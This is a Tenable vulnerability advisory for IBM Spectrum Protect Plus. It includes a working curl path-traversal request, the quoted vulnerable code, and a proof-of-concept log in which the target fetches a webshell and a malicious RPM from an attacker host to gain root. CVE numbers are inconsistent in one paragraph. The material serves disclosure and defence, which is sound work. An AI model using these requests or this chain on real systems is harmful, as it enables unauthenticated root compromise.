Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

IBM Spectrum Protect Plus 10.1.6-1974 Multiple Vulnerabilities

High

Synopsis

CVE-2020-4711

The flaw exists in /opt/ECX/tools/scripts/restore_wrapper.sh, where a directory path check can be bypassed via path traversal (i.e.,/tmp/../any/dir/in/the/file/system):

...
if [ ${mode} == "initialize" ]; then

        if [ $# -ne 2 ]; then
            logMsg "$0 incorrect number of arguments."
            failed_exit
        fi

        if ! [[ $2 =~ ^/tmp/ ]] ; then
            logMsg "Directory $2 is not allowed to use for restore."
            failed_exit
        fi

        logMsg "Stopping virgo"
        systemctl stop virgo
        logMsg "Done stopping virgo"
        sleep 5
        chmod -R 777 $2
...

An unauthenticated, remote attacker can exploit this issue by sending a specially crafted HTTP request to URL endpoint https://<spp_host>:8090/catalogmanager/api/catalog, which doesn't require authentication when the cmode parameter is restorefromjob:

...
  @CrossOrigin
  @PostMapping({"/api/catalog"})
  @SendTo({"/topic/catalogmanagerprogress"})
  public HashMap<String, CommandOutput> manageCatalog(@RequestParam(value = "cmode", required = true) String cmode, @RequestParam(value = "ctarget", required = true) String ctarget, @RequestParam(value = "excludeFACatalog", required = false) boolean excludeFACatalog, @RequestHeader(value = "x-ac-sessionid", required = false) String sessionId) throws Exception {
    if (cmode.equals("restorefromjob"))
      return this.catalogManagerServiceImpl.restoreFromJob(ctarget); 
    if (isValidSessionId(sessionId)) { 
...    

The endpoint handler calls the com.catalogic.ecx.catalogmanager.domain.CatalogManagerServiceImpl.restoreFromJob method without checking for user credentials. The restoreFromJob method executes the /opt/ECX/tools/scripts/restore_wrapper.sh script as root, passing the attacker-controlled HTTP parameter ctarget/cRestoreTarget to the script:

  public HashMap<String, CommandOutput> restoreFromJob(String cRestoreTarget) {
    this.systemHelper.executeScript("sudo", "/opt/ECX/tools/scripts", "restore_wrapper.sh", new String[] { "initialize", cRestoreTarget });
    this.systemHelper.executeScript("sudo", "/opt/ECX/tools/scripts", "managedb_wrapper.sh", new String[] { "--mode", "restore", "--restore-dir", cRestoreTarget, "--log", Constants.CATALOG_RESTORE_LOG_FILENAME });
    return this.systemHelper.executeScript("sudo", "/opt/ECX/tools/scripts", "restore_wrapper.sh", new String[] { "finalize" });
  }

This allows the attacker to perform a chmod -R 777 on any directory via path traversal:

curl -ki  -d 'cmode=restorefromjob&ctarget=/tmp/../any/dir/in/the/file/system' https://<spp-host>:8090/catalogmanager/api/catalog 

CVE-2020-4703

Exploiting CVE-2020-4770 involves two operations. The first operation is to upload a malicious RPM package to a directory writable by the administrator account by sending an HTTP POST message to URL endpoint https://<spp_host>:8090/api/plugin. The second operation is to install the malicious RPM by sending an HTTP POST message to URL endpoint http://<spp_host>:8090/emi/api/hotfix. On a vulnerable SPP host, authentication is not required for both operations. The fix for CVE-2020-4470 only addressed the second operation by enforcing authentication for the /emi/api/hotfix endpoint; it still allows unauthenticated arbitrary file upload to a directory writable by the administrator account, under which the endpoint handlers run.

When combining with vulnerability 1), an unauthenticated, remote attacker can upload any file to any directory on the remote SPP host, leading to an unauthenticated RCE. For example, the attacker can upload a malicious RPM package to /tmp (world writable) and a malicious war (web archive) file to /opt/virgo/pickup. The pickup directory is normally not writable by the administrator account, but the attacker can change the permission of the pickup directory to 777 using vulnerability 1). Once the war file is in the pickup directory, it triggers virgo to redeploy all artifacts (including the uploaded war) in the pickup directory. The war file contains a webshell (i.e., webshell.jsp) to be run under the virgo account, which can run /bin/rpm as root via sudo:

[root@spp-vm3 ~]# cat /etc/sudoers.d/ecx-sudoers | grep virgo
virgo ALL=NOPASSWD:/bin/rpm, /usr/bin/mount, /usr/bin/umount, /opt/ECX/tools/scripts/update_resolv.py, /opt/ECX/tools/scripts/update_aws_cert.py, /opt/ECX/tools/scripts/managedb_wrapper.sh, /opt/ECX/tools/scripts/prepare_backup.sh, /tmp

The attacker can put malicious content (i.e., scriptlets) in the RPM and and issue a 'sudo /bin/rpm -ivh /tmp/<uploaded_malicious_rpm>' command to the webshell, achieving unauthenticated RCE as root.

Here is a PoC, which writes the output of the id command to /tmp/hacked on a vulnerable remote SPP host:

root@host/work/spp# python3 ibm_spp_war_upload_rce.py <spp_host> attacker-rpm-1.0-0.noarch.rpm
Connecting to target <spp_host>:8090
Doing chmod -R 777 /opt/virgo/pickup on <spp_host>, could take a few minutes
Creating web archive file XXOC5L5DHHIG.war and tmp dir war_dir in the current directory
adding: webshell.jsp(in = 721) (out= 348)(deflated 51%)
adding: META-INF/(in = 0) (out= 0)(stored 0%)
adding: META-INF/MANIFEST.MF(in = 34) (out= 36)(deflated -5%)
Starting httpd on <attacker_host>:8080, DocumentRoot /work/spp
Requesting <spp_host> to download XXOC5L5DHHIG.war from <attacker_host>:8080
<spp_host> - - [29/Jul/2020 18:08:52] "GET /XXOC5L5DHHIG.war HTTP/1.1" 200 -
Requesting <spp_host> to download attacker-rpm-1.0-0.noarch.rpm from <attacker_host>:8080
<spp_host> - - [29/Jul/2020 18:08:52] "GET /attacker-rpm-1.0-0.noarch.rpm HTTP/1.1" 200 -
Waiting 360 seconds for virgo to redeploy artifacts in /opt/virgo/pickup (XXOC5L5DHHIG.war included)
Issuing command: https://<spp_host>/api/XXOC5L5DHHIG/webshell.jsp?cmd=sudo+%2Fbin%2Frpm+-ivh+%2Ftmp%2Fattacker-rpm-1.0-0.noarch.rpm


<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
Command: sudo /bin/rpm -ivh /tmp/attacker-rpm-1.0-0.noarch.rpm<BR>
Preparing...                          ########################################
Updating / installing...
attacker-rpm-1.0-0                    ########################################

</pre>
</BODY></HTML>
If there is no output for command sudo /bin/rpm -ivh /tmp/attacker-rpm-1.0-0.noarch.rpm, it is possible that virgo has not finished redeploying the artifacts. You may want to retry the command with curl -k  https://<spp_host>/api/XXOC5L5DHHIG/webshell.jsp?cmd=sudo+%2Fbin%2Frpm+-ivh+%2Ftmp%2Fattacker-rpm-1.0-0.noarch.rpm at a later time.

If there is a command output, please check if /tmp/hacked was created by root on <spp_host>
Deleting tmp dir war_dir
Deleting web archive file XXOC5L5DHHIG.war

Solution

Apply vendor provided patch.

Disclosure Timeline

07/31/2020 - Vulnerabilities discovered
8/18/2020 - Tenable discloses to IBM PSIRT. 90 days expires November 16. 7 days for prior incomplete patch expires August 25.
8/18/2020 - IBM acknowledges, but disputes our timelines and policy.
8/18/2020 - Tenable marks issue for managerial review.
8/19/2020 - Tenable clarifies policy.
8/20/2020 - IBM reiterates dispute.
8/20/2020 - Tenable rejects dispute.
9/8/2020 - Tenable requests status update.
9/8/2020 - IBM states that fixes are in progress.
9/14/2020 - IBM releases patches and advisory

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2020-54
Credit:
Tenable Research
CVSSv3 Base / Temporal Score:
9.8 / 9.1
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products:
IBM Spectrum Protect Plus 10.1.0-10.1.6
Risk Factor:
High

Advisory Timeline

9/14/2020 - Initial release
9/16/2020 - Updated CVSS score